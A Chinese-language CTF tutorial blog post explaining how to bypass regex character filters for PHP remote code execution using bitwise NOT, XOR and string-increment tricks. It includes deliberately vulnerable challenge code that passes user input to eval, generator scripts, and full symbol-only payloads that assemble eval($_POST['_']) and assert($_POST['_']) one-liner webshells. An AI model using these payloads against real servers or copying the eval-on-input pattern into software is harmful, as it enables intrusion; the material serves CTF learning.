拨开正则RCE——php取反,异或和自增

作者 f0zz 日期 2022-01-16
拨开正则RCE——php取反,异或和自增

此类rce的过程就是在利用某些方法绕过正则表达式,找到可用字符,然后经过各种变换构建我们想要执行的函数的过程,从而得到我们想get到的结果

取反

取反分为逻辑取反和按位取反
逻辑取反:!
按位取反:~

逻辑取反指的是逻辑上的取反,即是(true !0)变成否(false 0) 或者否变成是
按位取反则是将数值的二进制取反
如:
image.png

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`','%'];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
            die("LTLT说不能用这些奇奇怪怪的符号哦!");
        }}
    if(preg_match('/[a-zA-Z]/is',$wllm))
    {
        die("Ra's Al Ghul说不能用字母哦!");
    }
    echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
    eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}

在此题黑名单中没有过滤~,可以用取反的方法绕过过滤。
以下php脚本将命令取反后的结果再次取反

<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

image.png

传入得到的值 执行命令

按位异或

0和1异或0都不变,异或1则取反。很容易理解,如果b中的某位为1,那么a xor b 的作用是在a相应的位进行取反操作。用通俗易懂的语言来讲就是xor运算通常用于对二进制的特定一位进行取反操作。
结果:将把 $a 和 $b 中一个为 1 另一个为 0 的位设为 1。
$a和$b对应每一位进行异或,超出的部分不处理
异或脚本:

<?php
echo "input \"XOR\" object\n";
echo "object A:";
$a = fread(STDIN,1024);
echo "object B:";
$b = fread(STDIN,strlen($a));
echo $a ^ $b ;

image.png

自增方法

自增的过程就是

'a'++ => 'b'
'b'++ => 'c'
'c'++ => 'd'

因此,我们只需要获得一个字母a就可以构造所有字母

题目环境

php:5.3.29

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

在此题中正则过滤了$_GET[‘shell’]里的字母和数字后命令执行,那么这道题真的没有解吗?
将字符进行多次变换,得到字母和数字

异或构成一句话

使用异或脚本对_POST^^^^^进行异或输出urlencode得到%01%0E%11%0D%0A,然后构建无符号rce

<?php
$_=("%01"^"^").("%0E"^"^").("%11"^"^").("%0D" ^"^").("%0A"^"^");	//POST
$__='_'.$_;																												//_POST
$___=('%3B'^'^').('%28'^'^').('%3F'^'^').('@'^',');								//eval
$___($__['_']);																						//eval($_POST['_'])

image.png

取反

感谢无言师傅和kam1u师傅的帮助
最开始我用构建eval($_POST[2])的方法进行rce,出现了很多问题。问过大佬才知道assert适用于低版本php,使用eval会出现问题

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___='瞰';
$____.=~($___{$_});
$___='按';
$____.=~($___{$_});
$___='按';
$____.=~($___{$_});
$___='的';
$____.=~($___{$_});
$___='半';
$____.=~($___{$_});
$___='拍';
$____.=~($___{$_});
$_____ = '_';
$___='俯';
$_____.=~($___{$__});
$___='瞰';
$_____.=~($___{$__});
$___='次';
$_____.=~($___{$_});
$___='站';
$_____.=~($___{$_});
$_ = $$_____;
$____($_[$__]);

自增方法

自增的过程就是

'a'++ => 'b'
'b'++ => 'c'
'c'++ => 'd'

因此,我们只需要获得一个字母a就可以构造所有字母
poc: assert($POST[])

<?php
$_=[];
$_=@"$_";             //创建数组Array,为了利用字符串
$_=$_["!"=="@"];      //$_ = "Array"[0]
$__=$_ ;              //构建字母A
$___=$_ ;             //作为储存assert的变量
$____='_'.$_;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___.=$_;
$___.=$_;
$_=$__;
$_++;$_++;$_++;$_++;
$___ .=$_;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___.=$_;
$_++;$_++;
$___.=$_;
$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;
$_=$__ ;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____ .=$_ ;
$_++;$_++;$_++;$_++;
$____.=$_ ;
$_++;
$____.=$_ ;
$_____=$$____;
$___($_____[_]);

image.png
成功

总结

总之,此类rce的过程就是在利用某些方法绕过正则表达式,找到可用字符,然后经过各种变换构建我们想要执行的函数的过程,从而得到我们想get到的结果